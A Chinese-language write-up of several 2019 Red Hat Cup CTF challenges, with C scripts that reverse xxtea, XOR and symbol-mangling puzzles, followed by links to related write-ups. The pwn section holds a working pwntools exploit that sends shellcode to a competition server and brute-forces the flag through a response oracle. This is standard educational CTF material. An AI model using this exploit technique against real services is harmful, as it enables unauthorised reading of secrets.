2019红帽杯部分wp

xx

程序首先取输入的前4个字符作为xxtea加密的密钥之后进行xxtea加密。接着进行位置置换操作,然后又进行了以3个为一组的异或

首先逆向解出xxtea加密之后的结果

#include<stdio.h>
#include<Windows.h>
int main()
{
    int count = 0;
    int b[24];
    int a[] = { 0xCE, 0xBC, 0x40, 0x6B, 0x7C, 0x3A, 0x95, 0xC0, 0xEF, 0x9B, 0x20, 0x20, 0x91, 0xF7, 0x02, 0x35, 0x23, 0x18, 0x02, 0xC8, 0xE7, 0x56, 0x56, 0xFA };

    for (int i = 23; i >=3; i--)
    {

        for (int j = 6-count; j >= 0; j--)
        {
                a[i]^=a[j];
        }
        if (i % 3 == 0)
        {
            count++;
        }

    }
    for (int i = 0; i < 24; i++)
        printf("0x%x,", a[i]);
    printf("\n");
    b[2] = a[0];
    b[0] = a[1];
    b[3] = a[2];
    b[1] = a[3];
    b[6] = a[4];
    b[4] = a[5];
    b[7] = a[6];
    b[5] = a[7];
    b[10] = a[8];
    b[8] = a[9];
    b[11] = a[10];
    b[9] = a[11];
    b[14] = a[12];
    b[12] = a[13];
    b[15] = a[14];
    b[13] = a[15];
    b[18] = a[16];
    b[16] = a[17];
    b[19] = a[18];
    b[17] = a[19];
    b[22] = a[20];
    b[20] = a[21];
    b[23] = a[22];
    b[21] = a[23];
    for (int i = 0; i < 24; i++)
        printf("0x%x,", b[i]);
    system("pause");
}

得到数据0xbc,0xa5,0xce,0x40,0xf4,0xb2,0xb2,0xe7,0xa9,0x12,0x9d,0x12,0xae,0x10,0xc8,0x5b,0x3d,0xd7,0x6,0x1d,0xdc,0x70,0xf8,0xdc

在进行xxtea解密,这里猜测密钥为flag,即可解出flag

#include <stdio.h>
#include <stdint.h>
#include<windows.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  

void btea(uint32_t *v, int n, uint32_t const key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = 6 + 52 / n;
        sum = 0;
        z = v[n - 1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p<n - 1; p++)
            {
                y = v[p + 1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n - 1] += MX;
        } while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52 / n;
        sum = rounds*DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p = n - 1; p>0; p--)
            {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= DELTA;
        } while (--rounds);
    }
}

int main()
{
    //03e0164dd30553aa
           // uint32_t a[2] = { (unsigned int)0xd2cfdad7, 0x9ac8d5d4 };
    uint32_t v[6] = { (unsigned int)0x40cea5bc, (unsigned int)0xe7b2b2f4,(unsigned int)0x129d12a9,(unsigned int)0x5bc810ae,(unsigned int)0x1d06d73d,(unsigned int)0xdcf870dc };
            uint32_t const k[4] = { (unsigned int)0x67616c66, (unsigned int)0x0, (unsigned int)0X0, (unsigned int)0x0 };
            int n = 6; //n的绝对值表示v的长度,取正表示加密,取负表示解密
            // v为要加密的数据是两个32位无符号整数
            // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
            //printf("加密前原始数据:%x %x\n", v[0], v[1]);
            btea(v, -n, k);
            printf("加密后的数据:%x %x %x %x %x\n", v[0], v[1],v[2],v[3],v[4],v[5]);
            //btea(v, -n, k);
            //printf("解密后的数据:%x %x\n", v[0], v[1]);

            system("pause");        

}

解密后的数据为:67616c66 5858437b 646e615f 742b2b5f 7d6165

easy re

程序,第一段解密出Info:The first four chars are flag

第二段base64解密出一段网址https://bbs.pediy.com/thread-254172.htm

但是程序并没有完全结束在fini处还有一段函数

v5和v8相等且是随机生成的数据,他们异或数组第一个和第四个分别为f和g,又因为输入的字符前4个为flag可以推算出v5和v8的值,从而算出flag的值

最后解密代码如下

#include<stdio.h>
#include<Windows.h>
int main(){
    unsigned char byte_6CC0A0[25] = {
        0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54,
        0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C, 0x32, 0x45, 0x5b
    };
    char a[] = "flag";
    int key[20];
    for (int i = 0; i<strlen(a); i++)
    {
        key[i] = byte_6CC0A0[i] ^ a[i];
    }
    for (int j = 0; j<25; j++){
        byte_6CC0A0[j] ^= key[j % 4];
        printf("%c", byte_6CC0A0[j]);
    }
    printf("\n");
    system("pause");
}

childre

程序首先对输入的字符串进行了打乱操作,之后利用undecoratesymbolname对打乱字符进行反修饰。通过解密脚本跑出反修饰后的函数名称为

#include<stdio.h>
#include<Windows.h>
int main()
{
    unsigned char a1234567890Qwer[90] = {
        0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x21, 0x40, 0x23, 0x24,
        0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69,
        0x6F, 0x70, 0x5B, 0x5D, 0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D,
        0x61, 0x73, 0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x41, 0x53, 0x44, 0x46, 0x47,
        0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x5A, 0x58, 0x43, 0x56, 0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F,
        0x7A, 0x78, 0x63, 0x76, 0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F
    };
    unsigned char data[64] = {
         0x28, 0x5F, 0x40, 0x34, 0x36, 0x32, 0x30, 0x21,
        0x30, 0x38, 0x21, 0x36, 0x5F, 0x30, 0x2A, 0x30, 0x34, 0x34, 0x32, 0x21, 0x40, 0x31, 0x38, 0x36,
        0x25, 0x25, 0x30, 0x40, 0x33, 0x3D, 0x36, 0x36, 0x21, 0x21, 0x39, 0x37, 0x34, 0x2A, 0x33, 0x32,
        0x33, 0x34, 0x3D, 0x26, 0x30, 0x5E, 0x33, 0x26, 0x31, 0x40, 0x3D, 0x26, 0x30, 0x39, 0x30, 0x38,
        0x21, 0x36, 0x5F, 0x30, 0x2A, 0x26
    };//3478
    unsigned char data1[72] = {
         0x35, 0x35, 0x35, 0x36, 0x35, 0x36, 0x35, 0x33,
        0x32, 0x35, 0x35, 0x35, 0x35, 0x32, 0x32, 0x32, 0x35, 0x35, 0x36, 0x35, 0x35, 0x36, 0x35, 0x35,
        0x35, 0x35, 0x32, 0x34, 0x33, 0x34, 0x36, 0x36, 0x33, 0x33, 0x34, 0x36, 0x35, 0x33, 0x36, 0x36,
        0x33, 0x35, 0x34, 0x34, 0x34, 0x32, 0x36, 0x35, 0x36, 0x35, 0x35, 0x35, 0x35, 0x35, 0x32, 0x35,
        0x35, 0x35, 0x35, 0x32, 0x32, 0x32
    };//38
    int count = 0;
    for (int i = 0; i < 0x3e; i++)
    {
        for (char a = 0x20; a <= 0x7E; a++)
        {
            int v11 = a;
            int v12 = v11 % 23;
            if ((a1234567890Qwer[v12] == data[i])&(a1234567890Qwer[v11 / 23] == data1[i]))
            {
                printf("%c", a);
                count++;
            }
        }
    }
    printf("\n");
    printf("%d", count);
    system("pause");

}

private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)

我们对函数进行修饰一下结果为[email protected]@@[email protected]

接着利用脚本 还原一下位置

#include<stdio.h>
#include<windows.h>
int main()
{
    char input[32] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ12345";
    char disturb[32] = "PQHRSIDTUJVWKEBXYLZ1MF23N45OGCA";
    char function[32] = "[email protected]@@[email protected]";
    char buf[32];
    for (int i = 0; i < 31; i++)
    {
        for (int j = 0; j < 31; j++)
        {
            if (disturb[i] == input[j])
            {
                buf[j] = function[i];
                break;
            }
        }
    }
    for (int i = 0; i < 31; i++)
    {
        printf("%c", buf[i]);
    }
    system("pause");
}

还原得到[email protected]@[email protected]@EPDP 对其MD5加密即可

three

程序可以读取flag内容,并且输入index将flag内容可以一个一个读取出来,通过输入值爆破遍历比较获取flag

exp如下

#!/usr/bin/env python
# coding=utf-8
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level='debug'
keys="qwertyuiopasdfghjklzxcvbnm1234567890QWETYUIOPASDFGHJKLZXCVBNM{}-_"

flag=""

for i in range(32):
    for char in keys:
        #r=process("./pwn")
        r=remote("47.104.190.38","12001")
        r.recvuntil("Give me a index:\n")
        r.sendline(str(i))
        r.recvline()
        r.send("\x8b\x01\xc3")#mov eax,ds:[ecx] retn
        r.recvline()
        r.sendline("2")
        r.recvline()
        r.send(char)
        answer=int(r.recv())
        r.close()
        if answer==1:
            print char
            flag+=char
            break

print flag

原文地址:https://www.cnblogs.com/playmak3r/p/12063593.html

时间: 2024-07-30 18:24:33

2019红帽杯部分wp的相关文章

2019红帽杯-MISC-WriteUp(更新中)

前言: 前阵子玩了玩今年的红帽杯,题目质量很高,值得记录一下. 题目见:https://github.com/DrsEeker/redhat2019 0x01: Advertising for marriage  拿到题目,是一个500多M的RAW文件,可知这是一道内存取证题目,使用内存取证工具Volatility进行分析: 使用格式:Volatility -f [imgfile] [command] 发现是WindowsXPSP2,查看进程信息: Volatility -f [imgfile]

2019 安洵杯 Re WP

0x01.EasyEncryption 测试文件:https://www.lanzous.com/i7soysb 1.IDA打开 int sub_416560() { int v0; // eax int v1; // edx int v2; // edx int v3; // ecx int v4; // ST08_4 char v6[4]; // [esp+310h] [ebp-7E0h] char Str; // [esp+700h] [ebp-3F0h] int v8; // [esp+

2019 红帽RHCA云计算考前辅导CL210题库

2019年RHCA云计算方向 CL210 10版题库讲解,考一门买一门,考完过了再买下一门,我这都是做回头客的(考试原题,还原整个考试做题的过程步骤,以及考试中注意事项,包更新) 详情请咨询,CL210题库视频讲解试听请联系店主 QQ909577120 试听满意再买 一站式服务:学习过程中,遇到问题红帽RHCA专业老师为您免费一一详细解答!!店铺100%好评信誉有保障!!在我家买的东西售后有保障,后面红帽升级,我家培训视频,题库讲解免费给客户升级包更新. 原文地址:http://blog.51c

2017广东省红帽杯网络安全攻防大赛writeup

签到 扫码按操作即得 brian(Y) 打开题目,发现是一段字符: +++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.< ++++[ ->+++ +<]>+ +++.< ++++[ ->--- -<]>- ----- .<+++ +++[- >---- --<]> ----- ----- -.+.- ..

2019西湖论剑web wp

发在正文前 这应该是自己在安全圈摸爬滚打两年多以来第一次正规的ctf比赛.没解出flag,没截图,只提供了一些思路. 遥想往昔,初入大学,带着对PT的向往,一个人穿行在幽暗的图书馆,翻阅啃读一本本安全书籍(后来事实证明,纯属瞎折腾.在此也表达下对那些无师自通的大??深深的佩服之情),也从网上收集各种pt资源,弃高数而不学,视线代为无物,弱水三千唯爱我PT,虽晦涩难懂,学习过程举步维艰,仍然孜孜不倦,越发寻不得,就越发令我向往,言之痴迷不过. 兜兜转转,踏上起点,已是大二之事,没有多少窃喜,相反偶

SWPUCTF 2019总结以及部分WP

本次SWPUCTF开赛了,一共做了5个misc+2个web,RE和Android没时间看= =,pwn完全不会,果然又是和去年一样划水.题目都出的很不错,做题的时候思路其实也容易想到,剩下几个web有思路但是最后还是没有做出来. 简单写个WP吧. 本次比赛的部分文件我已保存上传至xxx.懒得上传,需要的话找我拿吧. 一.MISC 神奇的二维码 下载之后是一个二维码,直接扫描后是一个fakeflag,直接binwalk先扫描一波 可以发现里面有几个rar,将其分离出来,其中两个rar解出来都是没有

第二届红帽杯

Not Only Wireshark: 用wireshark打开,筛选http,看到一些可疑的字符 用python跑一下把这些可疑字符提取出来 import re f = open("Not Only Wireshark.pcapng", "rb").read() a = re.findall(b"/sqli/example2\.php\?name=(...)", f) f1 = open("test.txt", "

SQLi —— 逗号,空格,字段名过滤突破

前言 出于上海大学生网络安全大赛的一道easysql,促使我积累这篇文章.因为放了大部分时间在Decade和Babyt5上,easysql一点没看,事后看了WP,发现看不懂怎么回事,于是了解了一番. 无列名注入 前提:easysql中过滤了or,这样information_schema就不能用了,需要通过innodb存储引擎利用获取表名,不知道列名,所以需要通过无列名注入获取字段数据. 其实就是边看文章边自己实践记录,自己写的更详细点,便于理解的更透彻. 直接select 1,2,3,4 这样不

SROP利用技术

上个周末的"红帽杯"结束了,战队成绩很不错,排名前几.不过有些题目是临时参考网上的思路解出来的,虽然得了分,但当时不是很理解.比赛完了把当时不太熟悉的题目回顾了一下,作为思路的总结和后续的参考. 本篇是针对pwn4的总结. 知道不知道是一种很让人满足的感觉,自己解出题目后,不由得感叹安全研究人员思路的巧妙.拿到PWN4后,在IDA中看了下: 程序非常简短,运行程序后会等待用户输入,将输入读取到栈顶,并从栈顶的位置取指令地址进行执行. 这道题目的利用技术为SROP,SROP网上已经有比较